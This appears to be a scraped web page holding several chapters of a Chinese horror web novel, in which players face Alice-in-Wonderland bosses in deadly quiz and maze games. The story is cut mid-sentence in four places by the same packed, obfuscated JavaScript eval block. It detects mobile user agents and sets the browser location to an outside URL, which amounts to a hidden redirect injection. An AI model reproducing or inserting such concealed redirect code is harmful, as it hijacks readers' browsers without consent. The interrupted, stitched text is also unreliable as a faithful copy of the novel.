“直到有一天,爱丽丝晚上被噩梦惊醒,她哭哭啼啼地想去找伙伴们安慰,却发现她的伙伴们不见了!村子里少了三分之二的人!” 舞台上的爱丽丝玩偶夸张地哇哇大哭着,郝荨忽然感觉到什么,她回头看了一眼,只有一只眼睛的爱丽丝将自己的面容隐藏在黑暗中,神色不明。 “她哭着睡着了,直到早上,有两个伙伴回来才叫醒了她,爱丽丝很委屈,问这究竟是怎么回事?伙伴们支支吾吾,不肯告诉她。” “从这天开始,每天村子里都会少三分之二的人,而每天早上,也只有两个人回来。” 聚光灯下,屋子里的人影越来越少,爱丽丝从一开始的委屈害怕,慢慢变得习以为常。 “这样的日子一共经过了1826次。”毛毛虫先生将书页合上,左看看右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15228658|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看看,然后宣布了考题:“最后,小太阳村只剩下了三个人,提问——” ——“这个村子里最开始有几人?” “砰!” “唉呀,红蓝双方一起按下了抢答器呢。”毛毛虫先生惊喜道,“让我看看是谁先按的呢?” 包自强心里咯噔一声,他手慢了。 不,与其说他手慢了,倒不如说对面手太快! 他虽然听到那个复杂的“1826”愣了一下,但很快他就想起了自己的目的,只要对方不拿分,自己就一定赢! 可对面手更快,毛毛虫的话还没说完,那只兔子就按下了抢答器! “是我们的蓝方!请参赛者做出回答。” 兔子玩偶回头看了自己妹妹一眼,那眼神仿佛在说“快给我认真答,不然有你好看”! 看台上,余逸有点紧张:“这题目哪里简单了!她听清楚题目了吗?不会答不出吧!” 郝荨无语:“松手。” 她袖子都快被拽裂了! “你担心她,还不如担心担心你自己吧!之后走哪个格子想好了吗?” 虽然没有认真打听过方柚柚的过去,但人家可是破格跳级高考的小天才!这游戏不是刚好撞她手里了吗?他们这种普通人还是别担心天才的考试了。 余逸一下蔫了下来,他所在的格子位置很尴尬,只有一个格子里放的是小甜品,可那个甜品格的位置很刁钻,如果他走了这格,接下来两步就全是空格子,有很大概率会进入游戏! 如果他也进了这种游戏,那还不如死了算了! “行不行啊?答不出就认输!”包自强拔高声线,粗声粗气道,“这都多久了,你还在想?裁判,这算犯规了吧!” 说到最后,他的声音稍稍有些颤抖。 对面那兔子怎么回事?眼神这么吓人。 毛毛虫不慌不忙地抽了口水烟,才开口催促:“请蓝方尽快做出回答。” “快点啊!没听到女王陛下说的吗?时间——” “三个。” 包自强愣住:“什么?” 但随后,一阵狂喜涌上他的心头。 “答错了!她肯定答错了!每次都少三分之二,一千八百多天个三分之二,最后还能剩下三个人,最开始怎么可能是三个?!” 他虽然数学不好,但这一听就不对啊! 毛毛虫:“回答正确。” 包自强睁大双眼:“这不可能!” “要是一开始就只有三个人,晚上走掉三分之二的人,白天又回来两个……” 他越说越慢,越说越慢。 “红方,你还有什么疑问吗?”毛毛虫将烟圈吐出。 方柚柚身边也多了个“1”的烟圈,而另一半烟圈变回了刚刚那个无脸女,停在包自强面前。 他唯唯诺诺,既不敢继续抗议,也不敢承认自己错了。 豆大的汗滴从他额上滑落,无脸女慢慢举起教鞭:“老师对你…实在是太失望了。” “啊!!!” 看台上的郝荨摸了摸自己的纽扣眼睛,陷入思索,这个游戏——似乎有点矛盾之处啊。 116. 疯狂爱丽丝04 毛毛虫先生问的问题天马行空,既有像“乌鸦与写字台”那样奇形怪状的问题,也有逻辑题、知识题,甚至还有主观题。 场上的比分来到了焦灼的4:3,方柚柚暂且以一分落后。 包自强按住自己微微颤抖的手,取出一瓶治疗药剂灌下,这已经是他喝的第四瓶药水。 随着药效起作用,他身上的鞭痕慢慢减淡直至消失,只剩下沾有血污的破损外衣,显示了他刚刚有多狼狈。 那个女人虽然没有脸,感官却异常敏锐,开始的时候,他还自信满满,觉得自己能躲起来等待惩罚时间结束,可不管他躲在哪里,无脸女都能以最快的速度找到他。 如影随形,无处不在! 好像那个很多年前教过他的老师,包自强以为自己忘了,无脸女却唤醒了他刻入基因的恐惧! 太可怕了! 他深呼吸几口气,强作镇定。 是他看走眼了,这个小女孩根本就不是什么被带来当炮灰的新人,相反,她聪明的可怕! 那几道他听都没听明白的题,这小孩居然还能秒答,她那脑子还是人类的脑子吗?! 不过无妨,他今天运气很好,胡乱作答都能答对,一定没问题的! “参赛者注意,趣味问答只剩下三道题,再次重申规则……” 毛毛虫先生转过头,分别看了两人一眼。 包自强微怔,是他的错觉吗?怎么感觉毛毛虫多看了自己一眼? “参赛者需在自己面前的沙漏流光之前做出回答,回答正确拿一份,总分最高者为胜利方。” 嗯? 郝荨抬起头,规则变了。 她清楚记得,毛毛虫先生之前的规则是“参赛者需在自己的沙漏流光之前做出回答”,现在却变成了“自己面前的沙漏”。 是嘴瓢? 不,不可能。 在迷雾游戏里,一字之差就可能导致不同的结局,身为“公正方”的裁判不可能犯这种错误。 那么只有一种可能,规则确实变了。 或者说——这才是真正的规则。 方柚柚能注意到吗?她有些担心地望向舞台。 现场鸦雀无声,所有人都安静地看着台上,毛毛虫先生冲红心女王和爱丽丝的位置敬了个礼,动作懒散。 “第八题,噢!”毛毛虫有些惊讶,“这真是个令人悲伤的故事。” 他退至黑暗处,将舞台让了出来,聚光灯忽然闪烁了几下,再亮起时,诡异的红光照射在舞台中央。 一个大锅突兀出现,锅中液体缓缓浮动,有什么在里面起起伏伏。 “什么东西啊?”余逸小小声开口。 明明什么都看不清,气氛却让人不由得寒毛直竖。 “好像是……尸体?” “托特先生死了。” 郝荨和毛毛虫的声音同时响起,他的声音里没有丝毫悲伤。 “我们发现他时,他已经被做成了假龟汤。” 一颗似龟非龟的头颅从锅里缓缓冒出,余逸的脸瞬间皱了起来。 “现场只剩下了他的脑袋,我们判断,可怜的托特先生消失的身体,应该已经出现在了谁的肚子中。”毛毛虫补充。 “现在有六位嫌疑人,他们都是托特先生的朋友,疯帽匠——” 一个带着帽子的木偶小人从天而降,纤细又锋利的丝绳拴在他的四肢和颈边,被一双无形的大手操控着摘下帽子,冲台下鞠了个躬。 “睡鼠、柴郡猫、三月兔、渡渡鸟……” 随着他的话音落下,一个又一个木偶随之落下,聚光灯打在他们头顶,每个小人都显得格外兴奋。 “以及——我。” “砰!” 一声巨响,毛毛虫僵硬着身体从舞台上方重重坠落下来。 在观众席的惊呼声中,毛毛虫先生以一个违反物理规律的姿势被丝绳强行吊起,后仰着的头一点点转向观众,嘴角机械地裂开,露出了一个僵硬的微笑。 柴郡猫的身上传来木关节摩擦的声响,他动了动:“我知道是谁!我知道是谁!不是疯帽匠,就是睡鼠!我在他们的茶话会上看见了!” 紧接着,睡鼠打了个哈欠:“不是我。” “嗯……可能是柴郡猫?也可能是毛毛虫先生,总之,我在睡觉,不是我。” 疯帽匠左看看右看看:“你们认为是我?” 他嘴巴开合,玻璃眼珠泛着幽暗的光:“我只知道,渡渡鸟、三月兔和毛毛虫一定没有杀托特,他们可是一个地方出来的,有什么理由杀他呢?” 轮到三月兔和渡渡鸟时,一兔一鸟挤在一起,互相推搡: “是我!是我杀了他” “不,是我!我才是那个杀了托特先生的鸟!” “是我!他老是抢我的礼物,我早看他不顺眼了!” “是我才对!我把他推下了楼,为了避免被老师发现,我还把他放在了厨房的大锅里!” 两人吵吵嚷嚷,仿佛争夺的是什么荣誉一般,郝荨慢慢坐直了身体,全神贯注地盯着他们吵架。 最后,毛毛虫先生拍了拍手,他们才收住话音。 “既然他们俩都说凶手是自己,那么凶手一定在他们中间,不是吗?” 毛毛虫又用力一拍手,全场寂静,回声在这片空旷的场地响起,他的脖子以不自然的角度扭转,直勾勾地盯着包自强和方柚柚: “我们都是坏孩子,坏孩子喜欢说谎,六个人里只有一个说了真话,提问——是谁杀害了托特先生?” 他话音刚落,红蓝双方的手就抬了起来,正准备拍响抢答器,一道尖利的叫喊从观众席传来。 “无趣!无趣!!无趣极了!!!” 红心女王烦躁地抽出手杖,双脚用力踩了踩给她当踏脚的卫兵。 “我要改规则!” 毛毛虫先生有些卡顿地抬起头:“尊敬的陛下,您要改什么规则呢?” 红心女王眼珠滴溜溜转动,忽然,她往后一靠:“从这道题开始,答对的拿一分,答错的扣三分!负分直接出局!” 什么?! 包自强拍桌站起,红心女王这招一下子把他的计划全盘打乱,他下意识喊道:“游戏中途怎么能随便改规则?这算哪门子公平游戏——” 清脆的出鞘声打断了他,包自强僵在原地,他的脖子周围被锋利的兵器围满,只要女王一声令下,这些扑克牌卫兵就会将他的头颅就地砍下。 “在我的王国,”红心女王慢悠悠开口,“我就是公平。” 见他不敢再动,女王轻轻挥手,卫兵才再次退入暗处。 “继续吧。” 毛毛虫先生点点头:“现在,你们可以回答了。” 沙漏重新开始流逝,包自强面色阴沉地坐下,试图回忆刚刚他们每个人说了什么,可也不知道是他真的年纪大了,还是心态不稳,他越是想冷静思考脑子越是空白。 “砰!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239655|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兔子玩偶慢慢将手从抢答器上收回,这道题虽然听起来有些可怕,实际上却只是道很简单的逻辑题,只要用假设思维法就能很容易得出结果。 他自信回头看向妹妹,如此简单的题,柚柚一定能轻松答出。 可方柚柚的脸上却有些纠结,这种表情方步步曾经在别人脸上见过很多次,小学、初中、高中甚至是大学的考场上,有很多读不懂题的笨蛋都会露出这种犹豫神情,但是,他从未在方柚柚面上见过。 “……你没听清他们说的什么吗?”方步步低声说,“没关系,你听我的,答案是——” “柴郡猫。” 错了! 方步步瞳孔地震,玩偶兔子立刻捂住她的嘴:“她说的是毛毛虫!” 方柚柚挣脱:“不,我说的是柴郡猫。” 兔子玩偶脸上的毛发炸开,方步步重新在脑子里算了一遍,他绝对没有算错,凶手就是毛毛虫。 兔脸皱巴巴地看向方柚柚,他福至心灵:“你想做什么?” “唔。”方柚柚挠了挠脸颊,她脸上全是玩偶飘过来的绒毛,“有个想法。” 毛毛虫安静的等了一会儿,见他们不再修改答案,便抬起手指,只听“咔哒”一响,指向了方柚柚—— “回答正确!” 待机的木偶们一下活了过来,大家吵吵闹闹一拥而上,将柴郡猫扛起。 “啦啦啦啦,啦啦啦啦,高傲的托特先生,可怜的托特先生,美味的托特先生……” 他们胡乱唱着听不出曲调的歌,将柴郡猫用力抛进大锅。 灯光骤然暗下,再亮起时,台上已经只剩下了恢复正常的毛毛虫先生。 “怎么回事?”方步步皱着眉,压低声音道。 “果然,这个游戏考的根本不是就不是正确率,”方柚柚拿起沙漏晃了晃,“而是速度。” “无论我们答得有多慢,裁判都不会主动催促,因为他考的就是这一点,而且,他问的这些问题里,很多都是无解的,这也进一步迷惑了我们,既然不知道问题的原本答案,自然也不清楚什么才是真正的回答正确。” 方柚柚忍不住再次打了个哈欠,难得一口气说这么多话,真是累死她了。 不过既然知道考的是速度,那之后就不用动脑子啦,好耶! 她快速拿下接下来的两分,比分瞬间逆转,来到了关键的4:5。 再一次的惩罚过后,包自强一瘸一拐,气喘吁吁地回到座位,他的后背到腰划开了一条长长的裂口,血迹斑斑,他的脚踝也受了伤,哪怕是站着也有股钻心的疼。 如果这一轮他不能赢的话…… “赛点到,在问出最后一道题前,我将再次宣读游戏规则。” 毛毛虫先生挥散烟雾,慢吞吞道: “参赛者需在自己面前的沙漏流光之前做出回答,注意,一旦沙漏流光还没有作出回答,将会直接判定回答错误,回答正确者得一分,错误者将被扣除三分,这道题结束后,总分最高者为胜利方。” 热气从包自强的鼻子里窜出,他感觉自己的肾上腺素正在急速升高,他不能输! 视线逐渐移到红色沙漏上,这个沙漏里的沙子不多,大约只占了三分之一的空间,从开始流逝到流光差不多有五分钟的时间,不过…… 包自强的目光一顿,他盯着沙漏两端的缺口,头脑难得快速地转动起来。 他答不出没有关系,只要对面那个小孩回答错误——不就行了? 117. 疯狂爱丽丝05 “提问:红心女王和爱丽丝都很爱下棋,请你们猜一猜,上一局游戏是谁赢——” 毛毛虫话还没说完,一道虚影突然从舞台左侧扑向右侧的方柚柚。 是包自强! 玩偶兔条件反射将妹妹护在身后,却不想对方只是虚晃一枪,他的真正目标是他们面前的那盏蓝色沙漏! 这时,方步步已经来不及还手,一击得手,包自强迅速后退,回到了另一头。 “他犯规!” 毛毛虫拿着水烟斗抽了一口,视线漂移。 方柚柚一怔,啊,原来这个游戏是这么玩的。 包自强动作飞快地把蓝色沙漏和红色沙漏的缺口对齐,本来自己转动时仿佛有空气墙的缺口此刻畅通无阻,两个沙漏迅速融合。 包自强欣喜若狂:“我赢了!” 不过眨眼的功夫,两盏沙漏就合并成了一盏紫色沙漏,包自强眼疾手快要去拿,但比他还快的,是一道还带有些稚气的女声: “Castling。” 【玩家使用天赋技能:王车易位】 【使用对象选择中——】 【选择成功。】 他拿到了! 包自强将沙漏举过头顶,等等,这个手感……怎么毛茸茸的? 他呆愣地仰起头,带有血色鞭痕的兔子玩偶低下脑袋,眼神冷酷:“好巧。” 巧个鬼啊! 他的沙漏呢?! 毛毛虫:“看来我们的蓝方已经学会了抢答,恭喜你,你获得了趣味问答的胜利。” 方柚柚拍了拍那盏紫色的沙漏,礼貌道:“谢谢。” “不!不——!” 众人眼睛一花,又回到了黑白棋盘上,包自强面色惨白,他还在辩解,爱丽丝却不愿再听。 “好吵。” 话音落下,包自强忽然感觉到自己的指尖发僵。 起初,他还以为是自己的错觉,可当他抬起手时,却听到了细微的“咔哒”声……就好像刚刚舞台上的木偶一样。 包自强惊恐发现,他的手臂关节浮现出一道道细密的裂纹,皮肤也瞬间泛出诡异的哑光。 他发出一声惨叫,但这惨叫声迅速变得干涩起来。 “啊啊啊啊啊!!!”在他隔壁的一个玩家见到此景,忍不住尖叫起来。 包自强思维有些迟钝,他想问问发生了什么,却发现自己说不出话。 他的瞳孔渐渐呆滞,嘴角被无形的线拉扯着,脸上也浮现出让人不安的红。 包自强的眼珠像是玻璃球般疯狂转动,只听“咔哒”一声脆响,他的头一下歪倒,紧接着,四肢被看不见的丝线吊起,做出了一个谢幕动作。 他变成了木偶。 “哎呀,有新玩偶啦!” 爱丽丝嘴角几乎要咧到耳后,她开心地将包自强捏起,很是满意。 郝荨觉得有些毛骨悚然,输掉游戏的后果竟然是变成玩偶,她摸了摸自己的纽扣眼睛,收回手时不小心碰到了另一只眼。 她动作猛地一顿,然后,缓慢地敲了敲眼球…发出了敲击硬物的闷响。 “没有时间了!没有时间了!!!” 头顶钟表的兔子再次从棋盘上跑过,没有人注意到它是什么时候出现的,等大家反应过来时,兔子已经穿过所有人,跑到了另一个角落里。 郝荨发现,这只兔子手上的塑料袋换了一个。 “快点!再快一点!!!” “恶心的兔子!” 爱丽丝伸出手要去抓它,却被这只兔子熟练躲过,它跟泥鳅似的一下滑进黑格,消失无踪,她愤怒地锤向棋盘。 “砰!” 我靠! 郝荨连忙蹲下身,牢牢扒住格子的边缘。 差点就把她震到身后那格去,天知道这算不算犯规! “下一轮开始!”红心女王靠在她的黄金座椅上,百无聊赖道。 刚刚那场趣味问答也就最后一轮才有点意思,其他都很无聊,她早就等得不耐烦了。 “哼!”爱丽丝深吸一口气,宣布道:“开始!” 郝荨没得选,身为小兵的她只能向前,好在这格虽然是空格子,但没有触发游戏,她回过头望向自己的队友们。 方柚柚和霍格也很快选好了自己的格子,两人不约而同地选择了甜品格,只剩下余逸…… “宝宝,我们怎么选啊?”莉莉娇滴滴道。 她很是不满,这个讨人嫌的BOSS竟然把她和她家的亲亲宝贝背靠背放在一起,害她想跟宝宝抱一抱都不行。 一定是嫉妒她有男朋友宠爱! 大吕温声回答:“当然是听我们家宝贝的,你想去哪?” 他们可选择的格子不多,除了空白格外,就是莉莉之前摔进的那个蛋糕格。 莉莉嫌恶道:“那个蛋糕恶心死了,不想去!” 她眼珠转了转,然后,忽然抬起手指向离他们不远的一处白格中:“人家想去那里。” 白格里放着的是两杯红酒,其中一杯正被另一个玩家拿在手中,见他们指向他,这个玩家愣了一下。 大吕有些犹豫:“可是他已经选好了——” “我就要那个!”莉莉叉着腰,生气道,“你不想跟我喝交杯酒吗?!” “当然不是!” 为了表明自己的真心,大吕立刻从系统背包里拿出一个看起来很高科技的小道具,他用力砸在地上,一阵烟雾后,他们已经跟那个玩家一起挤在了小小的红酒格中。 “喂!”红心女王愤怒跺脚,“一个格子只能站一个人!我的王国里绝不容忍这种作弊行为!我要把你们的头塞到玫瑰花丛,快分开!” 莉莉扬起自己保养极好的长发:“抱歉啦。” 说完,她便动用技能,将还没反应过来的玩家推出了格子。 “你!” “快点哦,时间马上就要结束了。” 莉莉指了指爱丽丝,玩家没有办法,只能走到了另一个符合规则的空格子中—— “哈哈!你踩中了!” 红心女王看着瞬间变脸的玩家,眯起眼睛:“真是可爱,游戏这样才好玩呢。” 她在自己的卫兵中看了一圈,选中了一张扑克牌:“就你了!上吧,决斗吧!快去取悦我!!!” 这是一场可怕的决斗游戏,玩家虽然赢了,却只是惨胜,扑克牌的碎屑落了一地,他也几乎看不出人形,像是一滩烂肉似的躺在格子中,甚至都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250280|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无法分辨他是不是还活着。 “啧,没意思。” 红心女王想了两秒,忽然,伸出手去:“我要再选一个!这次我要选个有意思的!” 巨大的手掌朝棋盘压来,众人悚然一惊。 “不行!”爱丽丝拍开她的手,“他们还要来喝茶呢!你想违反规则?!” 红心女王僵着脸,过了一会儿,突然笑了起来:“哈哈哈……开个玩笑而已——等等,你是不是翻了个白眼?!” 爱丽丝往上翻的眼珠顿住,然后自然地收回:“我没有啊。” “你就是翻了白眼!”红心女王暴跳如雷。 “卫兵!!砍掉她的头!立刻!马上!!!” 爱丽丝这次是真的光明正大翻了个白眼:“你别无理取闹。” 她转过身,正准备回到座位,却感到头皮一阵疼痛。 “嘶——” 她居然!敢扯她的头发! 爱丽丝愤怒回身,两个BOSS忽然大打出手! 郝荨:? 还能这样?BOSS之间也会互相扯头花吗? 她刚要松口气,就发现了不对,这俩人打架的时候可不在乎他们这群玩家的死活! 两人绕着棋盘互相撕扯,玩家们就像玻璃珠一样别说站了,就连滚都困难。 他们的巴掌、头发、甚至是打斗时产生的掌风对他们而言都是一场灾难,郝荨费劲地把自己固定在原地,就在她思考要不要拿出马桶时,两人忽然同时住手。 结束了? 红心女王张开手,任由侍女们整理她的礼服: “哈!新的游戏!” 郝荨反应很快,她迅速扫了一眼场上,其他人都在,只有那对恋人玩家不见了……不!余逸也不见了! 爱丽丝眯起眼:“你是故意的?” 红心女王撇过头,装作没看到:“谁说的,你有证据吗?没有证据就诬陷女王,这可是叛国罪!” 霍格皱眉,他离余逸的距离近,刚刚看得很清楚,余逸本来站得很稳,可却被那对恋人连累,一起摔进了空格子中。 爱丽丝顺了顺自己的金发,面色突然好转:“算了,不跟你打了,我啊……可最喜欢这个游戏了。” 随着她的声音落下,棋盘突然整个翻转,此起彼伏的尖叫声和脏话中,他们牢牢地挂在棋盘上,天成了地,地成了天。 在他们的头顶——也就是草地所在的地方,有一座由灌木玫瑰和荆棘组成的巨大迷宫,余逸和那对恋人正站在迷宫入口处面面相觑。 “欢迎来到斯克里特迷宫。” 入口处的灌木丛退散,露出了一面与人同高的镜子,镜面光洁,能清晰倒映出每个人的脸,声音继续从镜子中传出: “每个走进迷宫的人都会在这里留下一些秘密,你们准备好了吗?” 莉莉“哼”了一声:“秘密?我们之间可没有秘密,对吧宝宝?” 她背面的男人嘴角扬起完美的弧度:“当然。” “哈哈……斯克里特迷宫喜欢自信的人,请注意,这座迷宫中只有一条通往终点的道路,要快点找到终点哦,否则——” “会跟你们的前辈一样,迷失在这座古老的迷宫中。” 118. 疯狂爱丽丝06 “走吗宝宝?” 大吕费劲巴拉地扭过头看向入口,明明这里是室外,茂密的灌木丛却将光线遮挡的严严实实,昏暗极了。 莉莉上下打量了一番余逸,忽然出声:“诶!你先进。” 余逸摇摇头:“我不。” 这地方看着也忒恐怖了,枯黄的荆棘丛上面还有盛放的玫瑰花,让人忍不住去思考这花是从哪里吸取的营养。 “你一个大男人怕什么啊!这里这么安静,又没什么危险,快点进啊!” “凭什么?!” 他才不干呢! 见说不动他,这对恋人借着镜子对视了一眼,然后默契地同时行动,先是莉莉不知道从哪取出枚狗哨,用力吹响,只听尖利的哨子声响起,余逸只感觉自己的大脑好像被什么重重钻了一下,一股想要臣服的冲动油然而生,接着,他的腿不由自主地动了起来,然后,一根红绳从大吕的手腕上冒出,牢牢系在了余逸大腿上—— “乖宝宝,替主人去探探路,”莉莉漫不经心地看了看自己新做的指甲,“探好了,主人会好好奖·励·你·哦~” 大吕的脸色黑了一瞬,不过很快他就调整好表情:“宝宝,你怎么能奖励其他男人?” 莉莉笑道:“吃醋啦?放心,这些都是外面的狗,我最爱的只有你。” 两人对着镜子黏黏糊糊,丝毫没有去管走得跟僵尸似的另一个玩家。 余逸浑浑噩噩地往入口走去,就在他进入斯克里特迷宫的那一瞬,突然,脚下被什么绊倒,骨碌碌带着红绳滚了进去。 “嗯?”大吕率先发现不对,“红绳断了!” 不止是道具的问题,这个跟他们一起进入游戏的倒霉蛋身影也不见了! 要知道这才几秒钟而已,人怎么会不见呢?! 是出局了……还是迷宫有问题? * “来新人了!今天好热闹呀,有1、2、3……这么多新人!” “他身上好香啊……” “姜饼人!是姜饼人!我喜欢姜饼人!” 不知道过了多久,余逸在一阵窸窸窣窣的声音中醒来,眼皮轻轻颤动,一股泥土、青草混合着血腥气和腐烂的尸臭味袭来,他头痛欲裂。 好臭! “呃……” 凋零的荆棘丛晃了晃,本来围绕着他的玫瑰花“唰”一下退开,余逸慢慢爬起,意识回笼,他才想起来刚刚发生了什么。 那两个玩家也太坏了! 咦?他们人呢? 他回过头去,门口空空如也,四周一片寂静,别说人影了,连个鬼影也没见到。 “嘶!” 余逸一个踉跄,轻轻吸了口凉气,拉起裤子一瞧,他的左腿也跟手一样,变成了姜饼的模样。 更可怕的是,上面坑坑洼洼,布满了细小的齿痕,像是被什么东西啃咬过,硬生生细了一大圈。 余逸蹒跚着往前走,来到这条路的尽头。 斯克里特迷宫的每条分岔路口都摆放着一面镜子,这面镜子上刻着一行字——“向左?还是向右?这是个问题。” “孩子,看样子你很困扰。” 一个声音在他头顶响起,余逸吓了一跳。 那是个似龟非龟的生物,年纪看起来有些大了,他动作缓慢地从荆棘丛上爬下: “有什么我可以帮助到你的吗?” 余逸瞪大双眼:“托特先生?你不是死了吗?!” 托特先生眯起眼睛,发出了“咔咔”的笑声。 “时间不总是像河一样流动的,孩子。” 余逸没有听懂,他指了指镜子问道:“你知道走哪边能到终点吗?” 托特先生睿智的眼睛盯着他看了一会儿,然后慢慢点了点头:“当然。” “只是,你想知道的话,得用你的故事来交换答案。”他补充道,“托特先生喜欢真实的故事……越真实越好。” 余逸想了想,盘腿坐下。 他挠了挠头:“……我好像没什么故事可以说。” “怎么会呢?每个人都有故事。” 托特先生决定给新孩子一个提示:“我先说一个关于我的故事吧。” “在我住的地方,有很多小孩子,他们每个都很特别。” “有的长相特别,有的性格特别,还有一个女孩,无论是长相还是性别,都很特别。” “她叫爱丽丝,爱丽丝是一个拥有许多奇思妙想的小孩,她有很多朋友,每天都很快活地跟她的朋友们聊天。” “她还有只乌鸦做朋友,每天,乌鸦女士都会叼来美丽的宝石送给她。” “我很喜欢这些孩子们,他们经常会在晚上来找我玩耍,只有爱丽丝,一次都没来过。” “你知道,现在的小孩子很难管,有一次,他们聚在一起说爱丽丝坏话,我听到后呵斥了他们,他们一哄而散。” “当我准备离开时,看到了爱丽丝躲在玫瑰花丛中,抱着她的乌鸦女士,乌鸦女士在她的怀里安静极了。” “从这天开始,不知怎的,每隔一段时间就会丢失一个孩子。” “我们把所有地方都找遍了,连爱丽丝的兔子洞都找过了,也没有找到那些孩子。” “这太奇怪了,大门关着,孩子怎么会不见呢?我实在心痛,只能在晚上更加努力地安慰剩下的孩子们。” “直到有一天,我在睡觉时听到了‘咚咚’的敲门声,可当我打开门时,门外什么都没有。” “第二天,我又听到了这个声音,还是什么都没有,然后第三天,我突然产生了一个想法,或许,被敲响的不是门……而是我的床呢?” “于是,当这个声响第四次响起时,我下了床,小心翼翼地弯下腰看向床下——床下只有几个新旧不一的行李箱。” “我费劲地将行李箱一一拖出,爬进去仔细检查,可床板上还是什么痕迹都没有。” “那这声音究竟是从哪传出的呢?” “我有些害怕,就这样,孩子们越来越少,而我,也每天都会在同一个时间被敲门声吵醒。” “直到有一天,我半夜梦醒,突然发现好安静,周围什么声音都没有,我有些不安,正准备继续睡觉,却翻来覆去怎么也睡不着。” “我掀开被子,决定起来看看。” “然后……我看到了。” “在我的被子里,一个黑影安静地趴在那,我们沉默地对视着,不知道过了多久,它忽然伸出手,礼貌地敲了敲床板——” “咚、咚。” 余逸猛地倒吸一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263534|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口冷气,他拼命把自己的大身板蜷缩成小小一团。 “那、那个黑影是什么啊?” 托特先生没有回答,他笑了笑:“轮到你了。” 郝荨仔细地听完了托特先生的故事,听完后,她陷入沉思。 托特先生喜欢真实的故事……这意味着,这个故事或许也是真正发生过的。 可如果是真实的故事,这里面又充斥着太多矛盾点。 爱丽丝有许多朋友,每天都很快活地跟朋友们聊天,那么为什么这些孩子们还会聚在一起说她坏话? 大门关着,孩子却丢了,还有托特先生说的那几句关于“晚上”的话,她很难不联想到一些不好的事。 托特先生住在这里,有几个行李箱很正常,可为什么用“费劲”这个词?行李箱里装着什么? 恐怕……在这个故事里,这些孩子们已经凶多吉少。 是托特先生干的?还是那个诡异的黑影? 这个“特别”的爱丽丝又在这个故事里担任了什么角色呢? 手头线索太少,她暂时还无法得到解答,郝荨有些忧虑地看向余逸,迷宫游戏看起来很不简单,他能通关吗? 余逸举起自己的姜饼左手,挠了挠脸,成功在上面留下一堆饼干碎屑。 “到我了?我想想……” 他努力声情并茂地讲述了自己在迷雾游戏里遇到的最恐怖的事,也就是那个被困在洞里被啃咬的故事,可这在身经百战的托特先生眼里根本算不上什么。 “这个故事虽然真实,却没有秘密,是个无聊的故事,你还有别的故事吗?” 余逸急得抓耳挠腮,支支吾吾半天也没想出来自己有什么秘密。 不是,这个游戏怎么还歧视话痨啊! 他就是憋不住秘密嘛! 余逸想了半天,刚想编个恐怖故事,还没说上两句就被托特先生打断: “托特先生不喜欢虚假的故事。” 盛放的玫瑰花丛从一旁探出,托特先生摘取了最娇艳欲滴的一朵递到余逸跟前。 “别急,孩子,喝了它再慢慢想,托特先生有很多、很多时间。” 花瓣绽放,露出了藏在里头的花汁,汁水是金黄色的,余逸跟着了魔似的接过,紧接着一饮而尽。 “我、我想想……一定、我一定有秘密的……” 这玫瑰花汁很快起了作用,不过几秒钟而已,余逸已经大着舌头开始细数自己从小到大干过的所有坏事——上幼儿园的时候尿裤子,他偷偷起床跟隔壁小朋友把床和裤子换了,回乡过年的时候拿炮仗把粪坑炸了,害的他姥爷在大冷天被姥姥赶出去,不让他回去睡觉,上初中的时候拿棒棒糖骗邻居家妹妹叫他爸爸……等等等等。 托特先生越听越皱眉,越听越无语。 这都什么烂故事! 托特先生不可置信,竟然真的有人没有秘密?! “好了不要说了!” 余逸还有些飘飘然,他继续嘟嘟囔囔着自己的“故事”,托特先生很生气,连语速都快了几分:“这是通往终点的路,你快走吧!” 他强行扭转余逸的身体,一脚把他踹进了左边的岔路口。 郝荨一惊,错了! 托特先生在说谎,右边才是正确的路! 119. 疯狂爱丽丝07 “咔嚓咔嚓……” 什么声音? 